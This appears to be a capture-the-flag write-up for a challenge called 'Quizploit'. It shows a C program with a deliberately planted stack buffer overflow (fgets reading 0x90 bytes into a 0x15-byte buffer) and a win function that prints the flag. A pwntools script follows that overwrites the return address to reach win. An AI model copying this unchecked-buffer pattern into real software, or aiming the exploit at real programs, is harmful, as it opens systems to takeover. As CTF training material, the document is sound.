Quizploit

Contents

Source
Solution

Source

Do not trust the comment.

#include <stdio.h>
#include <stdlib.h>

/*
This is not the challenge, just a template to answer the questions.
To get the flag, answer all the questions. 
There are no bugs in the quiz.
There are 0xD questions in total.

*/

void win(){
        system("cat flag.txt");
}

void vuln(){
        char buffer[0x15] = {0};
        fprintf(stdout, "\nEnter payload: ");
        fgets(buffer, 0x90, stdin);
}

void main(){
        vuln();
}

Solution

#!/usr/bin/env python3

from pwn import *
from termcolor import colored
import time
from tqdm import tqdm

elf = ELF("./vuln_patched")
rop = ROP(elf)

context.aslr = False
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
contextwatch execute "bins"
"""


def find_offset():
    r = process([elf.path])
    r.sendline(cyclic(1024))
    r.wait()
    result = cyclic_find(r.corefile.pc)
    r.close()
    log.info(f"The offset th return address: " + str(result))
    return result


def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


r = conn()

sl  = lambda a   : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
ru  = lambda a   : r.recvuntil(a)
rud = lambda a   : r.recvuntil(a,drop=True)


def main():
    offset = 0x28
    payload = b'i' * offset 
    payload += p64(0x4011ff)
    payload += p64(elf.sym["win"])

    sl(payload)

    r.interactive()




if __name__ == "__main__":
    main()